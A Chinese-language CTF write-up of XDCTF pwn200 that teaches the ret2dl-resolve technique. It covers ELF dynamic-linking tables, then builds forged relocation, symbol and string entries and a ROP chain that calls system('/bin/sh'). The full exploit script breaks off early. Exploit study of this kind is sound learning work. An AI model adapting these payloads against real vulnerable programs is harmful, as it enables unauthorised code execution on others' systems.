Post

XDCTF - pwn200

XDCTF - pwn200

0x01 理解动态符号解析

使用readelf -S查看所有section.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
~/ctf/test (zsh)                                                                                                                                           [.venv13]
[woc@nixos]> checksec ./bof
[*] '/home/woc/ctf/test/bof'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

~/ctf/test (zsh)
[woc@nixos]> readelf -S ./bof
There are 30 section headers, starting at offset 0x17c4:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.bu[...] NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 0000a0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804826c 00026c 00006b 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          080482d8 0002d8 000014 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         080482ec 0002ec 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             0804830c 00030c 000018 08   A  5   0  4
  [10] .rel.plt          REL             08048324 000324 000028 08  AI  5  23  4
  [11] .init             PROGBITS        0804834c 00034c 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        08048370 000370 000060 04  AX  0   0 16
  [13] .plt.got          PROGBITS        080483d0 0003d0 000008 08  AX  0   0  8
  [14] .text             PROGBITS        080483e0 0003e0 000252 00  AX  0   0 16
  [15] .fini             PROGBITS        08048634 000634 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048648 000648 000008 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        08048650 000650 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        0804868c 00068c 000114 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f04 000f04 000004 04  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f08 000f08 000004 04  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f0c 000f0c 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ff4 000ff4 00000c 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 000020 04  WA  0   0  4
  [24] .data             PROGBITS        0804a020 001020 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a028 001028 000004 00  WA  0   0  1
  [26] .comment          PROGBITS        00000000 001028 00001d 01  MS  0   0  1
  [27] .symtab           SYMTAB          00000000 001048 000450 10     28  44  4
  [28] .strtab           STRTAB          00000000 001498 000225 00      0   0  1
  [29] .shstrtab         STRTAB          00000000 0016bd 000105 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), p (processor specific)

我们需要关注的是其中的.dynamic. 用readelf -d查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
~/ctf/test (zsh)                                                                                                                                           [.venv13]
[woc@nixos]> readelf -d ./bof

Dynamic section at offset 0xf0c contains 24 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x804834c
 0x0000000d (FINI)                       0x8048634
 0x00000019 (INIT_ARRAY)                 0x8049f04
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f08
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804826c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      107 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   40 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x8048324
 0x00000011 (REL)                        0x804830c
 0x00000012 (RELSZ)                      24 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x80482ec
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x80482d8
 0x00000000 (NULL)                       0x0

Dynamic Section:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
NEEDED libc.so.6 — this binary depends on glibc.
STRTAB 0x804826c — address of the dynamic string table .dynstr.
SYMTAB 0x80481cc — address of the dynamic symbol table .dynsym.
SYMENT 16 — each Elf32_Sym entry is 16 bytes.
GNU_HASH 0x80481ac — GNU symbol hash table, used to quickly find dynamic symbols.
PLTGOT 0x804a000 — address of the GOT/PLT area.
JMPREL 0x8048324 — relocation table specifically for PLT imports.
PLTRELSZ 40 — PLT relocation table is 40 bytes.
PLTREL REL — those PLT relocations use Elf32_Rel, rather than Elf32_Rela.
REL 0x804830c — non-PLT dynamic relocation table.
RELSZ 24 — it contains 24 bytes total.
RELENT 8 — each Elf32_Rel entry is 8 bytes.
INIT / FINI / INIT_ARRAY / FINI_ARRAY — code/functions executed during startup and shutdown.
VERNEED / VERSYM — symbol-versioning information, e.g. requirements such as GLIBC_2.0.
DEBUG — a special runtime field that the dynamic linker may fill in for debuggers.
NULL — terminates the dynamic table.

ret2dl-resolve相关的三个重要项目为:JMPREL, SYMTAB, STRTAB.

JMPREL

使用readelf -r查看重定位表.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
~/ctf/test (zsh)                                                                                                                                           [.venv13]
[woc@nixos]> readelf -r ./bof

Relocation section '.rel.dyn' at offset 0x30c contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ff4  00000306 R_386_GLOB_DAT    00000000   __gmon_start__
08049ff8  00000706 R_386_GLOB_DAT    00000000   stdin@GLIBC_2.0
08049ffc  00000806 R_386_GLOB_DAT    00000000   stdout@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x324 contains 5 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804a014  00000407 R_386_JUMP_SLOT   00000000   strlen@GLIBC_2.0
0804a018  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a01c  00000607 R_386_JUMP_SLOT   00000000   write@GLIBC_2.0

.rel.dyn负责变量重定位,.rel.plt负责函数重定位(我们要关注的JMPREL).

在i386上,每一个JMPREL entry都是8字节大小的Elf32_Sym结构:

1
2
3
4
5
6
7
8
9
// i386
typedef struct {
    Elf32_Addr r_offset;      // 4byte
    Elf32_Word r_info;        // 4byte
} Elf32_Rel;

#define ELF32_R_SYM(info)  ((info) >> 8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym,type) (((sym) << 8) + (unsigned char)(type))

这里的offset代表了需要重定位的符号所在位置,也就是我们的got表项. 让我们结合汇编信息查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
08048370 <.plt>:
 8048370:       ff 35 04 a0 04 08       push   0x804a004
 8048376:       ff 25 08 a0 04 08       jmp    *0x804a008
 804837c:       00 00                   add    %al,(%eax)
        ...

08048380 <setbuf@plt>:
 8048380:       ff 25 0c a0 04 08       jmp    *0x804a00c
 8048386:       68 00 00 00 00          push   $0x0
 804838b:       e9 e0 ff ff ff          jmp    8048370 <.plt>

08048390 <read@plt>:
 8048390:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048396:       68 08 00 00 00          push   $0x8
 804839b:       e9 d0 ff ff ff          jmp    8048370 <.plt>

080483a0 <strlen@plt>:
 80483a0:       ff 25 14 a0 04 08       jmp    *0x804a014
 80483a6:       68 10 00 00 00          push   $0x10
 80483ab:       e9 c0 ff ff ff          jmp    8048370 <.plt>

read@plt为例. 因为使用了lazy bind, 所以read对应的got表项(0x804a010)会在第一次执行的时候才加载。

在这个过程中,执行read@plt的结果是jmp *0x804a010指令,这里存储的值是jmp的下一条指令地址0x8048396, 跳转到.plt部分. 后续执行jmp *0x804a008 (ELF lazy-binding resolver trampline, 比如_dl_runtime_resolve). 并且在执行之前,按顺序压入了0x8, 0x804a004这两个值,对应实际的函数参数是逆序关系。

1
2
3
_dl_runtime_resolve(link_map, reloc_offset)
// arg1: 0x804a004, 对应一个全局结构link_map
// arg2: 0x8,对应reloc_offset.

现在我们和.rel.plt结合起来看. 因为Elf32_Rel每个表项大小为8字节,而read位于第二个,和这里的reloc_offset = 0x8刚好对上.

因为_dl_runtime_resolve负责全局多个函数的加载,所以它完全是根据参数离的reloc_offset来判断加载哪个符号的. 如果后续我们伪造一些fake table, 就能欺骗加载器(对应的segment通常不具有写的权限,所以一般无法修改现有的表项,只能伪造),把一个函数的地址装载成system函数的地址(尽管程序中可能没有system@plt),这种利用方法不需要泄漏libc基地址即可完成.

回到JMPREL上,read对应的offset=0x804a010,也就是read的got表项所在地址. info=0x00000207,低位字节0x7代表TYPE, 高位0x2代表SYM, 用于在SYMTAB寻找符号的信息.

SYMTAB

当解析器拿到对应的JMPREL表项后,能够解析出read的SYM=2, 接着会根据这个索引在SYMTAB中寻找read的符号信息.

使用readelf -s可以查看symbol table信息,如果使用readelf -sD只显示其中的.dynsym.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
~/ctf/test (zsh)                                                                                                                                           [.venv13]
[woc@nixos]> readelf -s ./bof

Symbol table '.dynsym' contains 10 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.0 (2)
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
     3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.0 (2)
     5: 00000000     0 FUNC    GLOBAL DEFAULT  UND __[...]@GLIBC_2.0 (2)
     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.0 (2)
     7: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdin@GLIBC_2.0 (2)
     8: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdout@GLIBC_2.0 (2)
     9: 0804864c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used

Symbol table '.symtab' contains 69 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 08048154     0 SECTION LOCAL  DEFAULT    1 .interp
     2: 08048168     0 SECTION LOCAL  DEFAULT    2 .note.ABI-tag
     3: 08048188     0 SECTION LOCAL  DEFAULT    3 .note.gnu.build-id
     4: 080481ac     0 SECTION LOCAL  DEFAULT    4 .gnu.hash
     5: 080481cc     0 SECTION LOCAL  DEFAULT    5 .dynsym
     6: 0804826c     0 SECTION LOCAL  DEFAULT    6 .dynstr
     ......
    52: 0804a020     0 NOTYPE  GLOBAL DEFAULT   24 __data_start
    53: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    54: 0804a024     0 OBJECT  GLOBAL HIDDEN    24 __dso_handle
    55: 0804864c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
    56: 00000000     0 FUNC    GLOBAL DEFAULT  UND strlen@@GLIBC_2.0
    57: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_mai[...]
    58: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@@GLIBC_2.0
    59: 080485d0    93 FUNC    GLOBAL DEFAULT   14 __libc_csu_init
    60: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdin@@GLIBC_2.0
    61: 0804a02c     0 NOTYPE  GLOBAL DEFAULT   25 _end
    62: 080483e0     0 FUNC    GLOBAL DEFAULT   14 _start
    63: 08048648     4 OBJECT  GLOBAL DEFAULT   16 _fp_hw
    64: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdout@@GLIBC_2.0
    65: 0804a028     0 NOTYPE  GLOBAL DEFAULT   25 __bss_start
    66: 0804851c   167 FUNC    GLOBAL DEFAULT   14 main
    67: 0804a028     0 OBJECT  GLOBAL HIDDEN    24 __TMC_END__
    68: 0804834c     0 FUNC    GLOBAL DEFAULT   11 _init

注意:SYMTAB是一个dynamic tag, 指向的值是.dynsym这个section,记录runtime dynamic linking信息,这才是我们需要关注的信息.

.symtab是full static/linker symbol table, 在stripped的时候还会删除掉.

.rel.plt里,动态解析器知道read对应的SYM=2, 接着就会继续取出:

1
2
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)

i386下, 每一项都是Elf32_Sym类型的结构(16byte)

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct 
{ 
   Elf32_Word st_name ; // Symbol name (string tbl index)
   Elf32_Addr st_value ; // Symbol value
   Elf32_Word st_size ; // Symbol size
   unsigned char st_info ; // Symbol type and binding
   unsigned char st_other ; // Symbol visibility under glibc>=2.2
   Elf32_Section st_shndx ; // Section index, 2byte
} Elf32_Sym ;

#define ELF32_ST_BIND(i)   ((i) >> 4)
#define ELF32_ST_TYPE(i)   ((i) & 0xf)
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
~/ctf/test (zsh)                                                                                                                                           [.venv13]
[woc@nixos]> readelf -S ./bof
There are 30 section headers, starting at offset 0x17c4:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  ......
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 0000a0 10   A  6   1  4
  ......


~/ctf/test (zsh)                                                                                                                                           [.venv13]
[woc@nixos]> gdb ./bof
......
(gdb) x/16wx 0x080481cc
0x80481cc:      0x00000000      0x00000000      0x00000000      0x00000000
0x80481dc:      0x00000033      0x00000000      0x00000000      0x00000012
0x80481ec:      0x00000027      0x00000000      0x00000000      0x00000012
0x80481fc:      0x0000005c      0x00000000      0x00000000      0x00000020

# 0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
# 1: 00000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.0 (2)
# 2: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
# 3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__

read对应的st_name = 0x27. 这个值用于在STRTAB中找最终的字符串.

STRTAB

STRTAB对应的section是.dynstr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
~/ctf/test (zsh)                                                                                                                                           [.venv13]
[woc@nixos]> readelf -S ./bof
There are 30 section headers, starting at offset 0x17c4:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  ...
  [ 6] .dynstr           STRTAB          0804826c 00026c 00006b 00   A  0   0  1
  ...


(gdb) x/8s 0x804826c
0x804826c:      ""
0x804826d:      "libc.so.6"
0x8048277:      "_IO_stdin_used"
0x8048286:      "stdin"
0x804828c:      "strlen"
0x8048293:      "read"
0x8048298:      "stdout"
0x804829f:      "setbuf"

0x804826c + 0x27 == 0x8048293, 对应read符号的name.

0x02 题目分析

程序分析

程序很简单,可以通过溢出控制vuln的返回值;因为是32位程序,不用找pop gadget即可布置ROP链.

有一种直观的思路是使用write泄漏got表的信息,然后推断出远程是什么版本的libc,最后使用ret2libc执行system.

这里为了练习,使用ret2dl-resolve方法解决.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  char buf[112]; // [esp+0h] [ebp-7Ch] BYREF
  int *p_argc; // [esp+70h] [ebp-Ch]

  p_argc = &argc;
  strcpy(buf, "Welcome to XDCTF2015~!\n");
  memset(&buf[24], 0, 0x4Cu);
  setbuf(stdout, buf);
  v3 = strlen(buf);
  write(1, buf, v3);
  vuln();
  return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
ssize_t vuln()
{
  char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF

  setbuf(stdin, buf);
  return read(0, buf, 0x100u);
}

// .text:080484D6 ; ssize_t vuln()
// .text:080484D6                 public vuln
// .text:080484D6 vuln            proc near               ; CODE XREF: main+92↓p
// .text:080484D6
// .text:080484D6 buf             = byte ptr -6Ch
// .text:080484D6 var_4           = dword ptr -4
// .text:080484D6
// .text:080484D6 ; __unwind {
// .text:080484D6                 push    ebp
// .text:080484D7                 mov     ebp, esp
// .text:080484D9                 push    ebx
// .text:080484DA                 sub     esp, 74h
// .text:080484DD                 call    __x86_get_pc_thunk_bx
// .text:080484E2                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
// .text:080484E8                 mov     eax, ds:(stdin_ptr - 804A000h)[ebx]
// .text:080484EE                 mov     eax, [eax]
// .text:080484F0                 sub     esp, 8
// .text:080484F3                 lea     edx, [ebp+buf]
// .text:080484F6                 push    edx             ; buf
// .text:080484F7                 push    eax             ; stream
// .text:080484F8                 call    _setbuf
// .text:080484FD                 add     esp, 10h
// .text:08048500                 sub     esp, 4
// .text:08048503                 push    100h            ; nbytes
// .text:08048508                 lea     eax, [ebp+buf]
// .text:0804850B                 push    eax             ; buf
// .text:0804850C                 push    0               ; fd
// .text:0804850E                 call    _read
// .text:08048513                 add     esp, 10h
// .text:08048516                 nop
// .text:08048517                 mov     ebx, [ebp+var_4]
// .text:0804851A                 leave
// .text:0804851B                 retn
// .text:0804851B ; } // starts at 80484D6
// .text:0804851B vuln            endp

这里开头push ebx是在保护旧值,因为后续的__x86_get_pc_thunk_bx有下列代码:

1
2
.text:08048410                 mov     ebx, [esp+0]
.text:08048413                 retn

也就是把返回地址080484E2赋给ebx

接下来的add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)后,ebx存储的值就是_GLOBAL_OFFSET_TABLE_, 即got表.

exploit计划

我们要伪造三个表:JMPREL, SYMTAB, STRTAB, 目标是让解析器将某一个函数的地址解析成system函数的地址,然后对其调用.

首先,我们能否直接修改现成的表项?经过动态调试查看,三个部分都落在0x08048000 - 0x08049000部分,无’w’权限.

1
2
3
4
Start Addr End Addr   Size       Offset     Perms File
0x08048000 0x08049000 0x1000     0x0        r-xp  /home/woc/ctf/test/bof
0x08049000 0x0804a000 0x1000     0x0        r--p  /home/woc/ctf/test/bof
0x0804a000 0x0804b000 0x1000     0x1000     rw-p  /home/woc/ctf/test/bof

那么就要手动伪造了. 因为这一题没有PIE,可以尝试放在bss上.

首先是JMEREL, 从解析流程来看,可以控制其第二个参数. 由于bss在.rel.plt后面,我们可以传入一个很大的offset, 让它解析到bss上. 后面的两个表也同理.

为了方便起见,可以直接读取其表项的原始数据,只修改其中offset含义的字段.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
JMPREL = 0x8048324
SYMTAB = 0x80481cc
STRTAB = 0x804826c


BSS = 0x804a028 + 0xc         # padding, 让fake SYMTAB表项和原始的SYMTAB差值为sym_entry_size的倍数

new_rel_entry_size = 0x8
new_sym_entry_size = 0x10
new_str_entry_size = len(b"system\x00\x00")

new_rel_entry_addr = BSS                                        # fake jmprel表项的地址
new_sym_entry_addr = new_rel_entry_addr + new_rel_entry_size    # fake symtab表项的地址
new_str_entry_addr = new_sym_entry_addr + new_sym_entry_size    # fake strtab表项的地址
bin_sh_addr = new_str_entry_addr + new_str_entry_size

new_rel_offset = (new_rel_entry_addr - JMPREL )   # 用于push
new_sym_offset = (new_sym_entry_addr - SYMTAB ) // new_sym_entry_size   # 这里需要保证gap是0x10的倍数
assert( (new_sym_entry_addr - SYMTAB) % new_sym_entry_size == 0 )
new_str_offset = (new_str_entry_addr - STRTAB)

# JMPREL, 原始数据 0x0804a010, 0x00000207
new_rel_entry = p32(0x804a010) + p32(new_sym_offset << 8 | 0x07)

# SYMTAB, 原始数据 0x00000027, 0x00000000, 0x00000000, 0x00000012
new_sym_entry = p32(new_str_offset) + p32(0) + p32(0) + p32(0x12)

# STRTAB, 原始数据 "read"
new_str_entry = b"system\x00\x00"

bss_payload = new_rel_entry + new_sym_entry + new_str_entry + b"/bin/sh\x00"

ROP问题1: 布置返回值

一开始我的ROP链中有如下片段:

1
2
payload = b'A'*0x6c + p32(0x0)
payload += p32(read_plt) + p32(0) + p32(BSS) + p32(len(bss_payload))    # read(stdin, bss_buffer, len(bss_payload))

设想的是返回到read@plt后,立刻跟上3个参数.

但是在实际调试的过程中发现,程序会在后续return到addr=0的位置进而退出.

在32位下,执行到read@plt时,栈上应该是这样的情况:

1
2
3
4
esp+0x00: return address after read
esp+0x04: fd
esp+0x08: buf
esp+0x0c: count

在通过正常的call read@plt调用时,会自动压入返回值;但是通过修改返回地址来转移时,是没有这一步的,所以我们要先把下一步的返回值填充到这里,然后才是参数.

对比32位的read函数入口代码查看:

1
2
3
4
5
6
7
8
9
 ► 0xf0e525f0 <read>        sub    esp, 0x10                  ESP => 0xff9f5d30 (0xff9f5d40 - 0x10)
   0xf0e525f3 <read+3>      push   3
   0xf0e525f5 <read+5>      push   0
   0xf0e525f7 <read+7>      push   0
   0xf0e525f9 <read+9>      push   0
   0xf0e525fb <read+11>     push   dword ptr [esp + 0x2c]
   0xf0e525ff <read+15>     push   dword ptr [esp + 0x2c]
   0xf0e52603 <read+19>     push   dword ptr [esp + 0x2c]
   0xf0e52607 <read+23>     call   __syscall_cancel            <__syscall_cancel>

这里的__syscall_cancel是对普通system的包装函数. 在满足了上述提到的正确参数布局后,执行sub esp, 4个push后,变成

1
2
3
4
5
6
7
8
9
10
11
12
esp+0x00: 0
esp+0x04: 0
esp+0x08: 0
esp+0x0c: 3
esp+0x10: 
esp+0x14: 
esp+0x18: 
esp+0x1c:
esp+0x20: return address after read
esp+0x24: fd
esp+0x28: buf
esp+0x2c: count

接下来执行的3个push [esp+0x2c]会把count, buf, fd按照顺序重新压到前面, 最后变成:

1
__syscall_cancel(fd, buf, count, 0, 0, 0, 3)

重新设计后,gadget片段为:

1
2
3
4
payload = b'A'*0x6c + p32(0x0)
payload += p32(read_plt)
payload += p32(plt) + p32(0) + p32(BSS) + p32(len(bss_payload))    # read(stdin, bss_buffer, len(bss_payload))
payload += p32(read_plt) + p32(new_rel_offset)

ROP链视角

向左为地址减少的方向,左侧的值模拟的是“新压入栈的值”,所以返回地址应该在参数的左边;

向右为地址增加的方向,在ROP链进行的时候会向这个方向推进.

ROP问题2: 返回到新片段后的栈帧

上一步修正后,设想的画面是:

  1. 第一轮地址(read_plt)
  2. 第二轮地址(.plt) + 第一轮参数
  3. 第三轮地址(read_plt,被替换成system) + 第二轮参数

在第一次read_plt后,塞入.plt的地址;进入第二段后,esp跳到第二行,先是下一轮返回地址read_plt(已经被替换为system函数),然后是.plt的参数new_rel_offset.

但是在return到.plt前栈布局为:

1
2
3
4
pwndbg> x/20wx $esp
0xff9abe20:     0x08048370 (.plt)      0x00000000      0x0804a028      0x00000028
0xff9abe30:     0x08048390      0x00001d04      0x0804a048      0x00000000
0xff9abe40:     0x00000000      0x0000000a      0x00000000      0x00000000

可以看到ret到’2’开头的.plt后,后面还是我们第一步的旧参数,并不会跳到’3’.

对比汇编代码:

1
2
3
4
5
6
7
.text:08048500                 sub     esp, 4
.text:08048503                 push    100h            ; nbytes
.text:08048508                 lea     eax, [ebp+buf]
.text:0804850B                 push    eax             ; buf
.text:0804850C                 push    0               ; fd
.text:0804850E                 call    _read
.text:08048513                 add     esp, 10h

在正常的代码中,执行完read_plt后有一个add esp, 0x10的指令,让esp跳过旧的参数,到下一轮的位置。但是我们目前的片段里缺乏“清理栈帧”这一步,需要补上.

使用ROPgadget可以找到不同长度的pop指令. 这里需要清理第一步read_plt的3个参数,选择0x8048629,记为pppr_ret

1
2
3
4
5
0x0804862b : pop ebp ; ret
0x08048628 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804836d : pop ebx ; ret
0x0804862a : pop edi ; pop ebp ; ret
0x08048629 : pop esi ; pop edi ; pop ebp ; ret

变成:

1
2
3
4
5
6
7
payload = b'A'*0x6c + p32(0x0)
payload += p32(read_plt)
payload += p32(pppr_ret)    +   p32(0) + p32(BSS) + p32(len(bss_payload))
payload += p32(plt)
payload += p32(pr_ret)      +   p32(new_rel_offset)
payload += p32(read_plt)                # 设想:重新bind后,再次执行read("/bin/sh"),实际是system("/bin/sh"), 但其实根本不用这一步。因为在动态解析器找到对应符号的真实地址后,会自动调用一次.
payload +=                      p32(bin_sh_addr)

这一步会导致ebp被设置成一个不良的值,但是经过测试发现并不影响。如果真的有问题也可以后续补上一个p32(pop_ebp_ret) + p32(bss+0x500) 把ebp迁移到可写的bss段上.

ROP问题3: 绑定后下一步的返回值

上一步我们仿照前面read_plt后的pppr_ret,在解析器plt执行后也塞入pr_ret清理栈帧,但其实这是错误的.

首先,从必要性上来看,我们无需控制跳转到.plt后的下一步返回值. 因为在正常调用read@plt后,动态解释器找到对应的符号后,会自动根据栈上的参数,调用一遍这次解析出来的函数. 执行system("/bin/sh")后我们的任务就已经完成了

其次,从正确性上看,前面的代码也有很大的问题. 调试可以发现这样会导致自己push的reloc_offset和后续的link_map中间插入了一个pr_ret:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   0x8048629  <__libc_csu_init+89>    pop    esi     ESI => 0
   0x804862a  <__libc_csu_init+90>    pop    edi     EDI => 0x804a028 (completed)
   0x804862b  <__libc_csu_init+91>    pop    ebp     EBP => 0x28
   0x804862c  <__libc_csu_init+92>    ret                                <0x8048370>
    ↓
   0x8048370                          push   dword ptr [_GLOBAL_OFFSET_TABLE_+4]
 ► 0x8048376                          jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+8] <0xe96121e0>
    ↓
   0xe96121e0                         push   eax
   0xe96121e1                         push   ecx
   0xe96121e2                         push   edx
   0xe96121e3                         mov    edx, dword ptr [esp + 0x10]     EDX, [0xffe071b4] => 0x804836d (_init+33) —▸ 0xff00c35b ◂— 0
   0xe96121e7                         mov    eax, dword ptr [esp + 0xc]      EAX, [0xffe071b0] => 0xe9637a70 (nix_ld::STACK+2676) ◂— 0
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffe071b0 —▸ 0xe9637a70 (nix_ld::STACK+2676) ◂— 0
01:0004│     0xffe071b4 —▸ 0x804836d (_init+33) —▸ 0xff00c35b ◂— 0
02:0008│     0xffe071b8 ◂— 0x1d04

反思:前面构造read_plt的时候,我们做的是接手了call的工作,所以需要提前准备下一步的ret.

但是这一步,我们接手的位置并不一样:我们接手了参数构造,而且跳转到.plt是内层jmp的结果,并不是普通的call.

这么说比较抽象,还是需要结合正常调用过程中的stack draft来看:

1
2
3
4
5
6
7
8
9
10
11
12
13
# call func@plt(arg) 后的期望栈帧
p32(next_ret_addr) + p32(arg)

# 让解析器进行符号绑定,压入reloc_offset
#  push   reloc_offset
#  jmp    8048370 <.plt>
p32(reloc_offset) + p32(next_ret_addr) + p32(arg)


# <.plt>:
# push   0x804a004
# jmp    *0x804a008
p32(link_map) + p32(reloc_offset) + p32(next_ret_addr) + p32(arg)

我们需要从link_map后面的位置开始接手,所以应该这样构造:

1
2
3
4
5
6
payload = b'A'*0x6c + p32(0x0)
payload += p32(read_plt)
payload += p32(pppr_ret)    +   p32(0) + p32(BSS) + p32(len(bss_payload))    # read(stdin, bss_buffer, len(bss_payload))

# payload += p32(pop_ebp_ret) + p32(BSS + 0x200)
payload += p32(plt) + p32(new_rel_offset) + p32(0) + p32(bin_sh_addr)

最后一个p32(0)代表执行system后的返回地址,这里用来占位,值可以任意填.

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python3
import sys

# record arg before importing pwntools(which will comsume the DEBUG arg)
RAW_ARGS = tuple(sys.argv[1:])

from pwn import *
import os
import shutil

elf = ELF("./bof", checksec=False)

HOST = "some.website"
PORT = 1337
SSL = False

context.binary = elf
context.gdb_binary = "/home/woc/.nix-profile/bin/pwndbg"

if os.environ.get("TMUX"):
    context.terminal = ["tmux", "splitw", "-h"]
elif os.environ.get("DISPLAY"):
    for terminal in ("ghostty", "alacritty", "kitty", "konsole"):
        if shutil.which(terminal):
            context.terminal = [terminal, "-e"]
            break

gdbscript = r"""
set pagination off
# set debuginfod enabled off
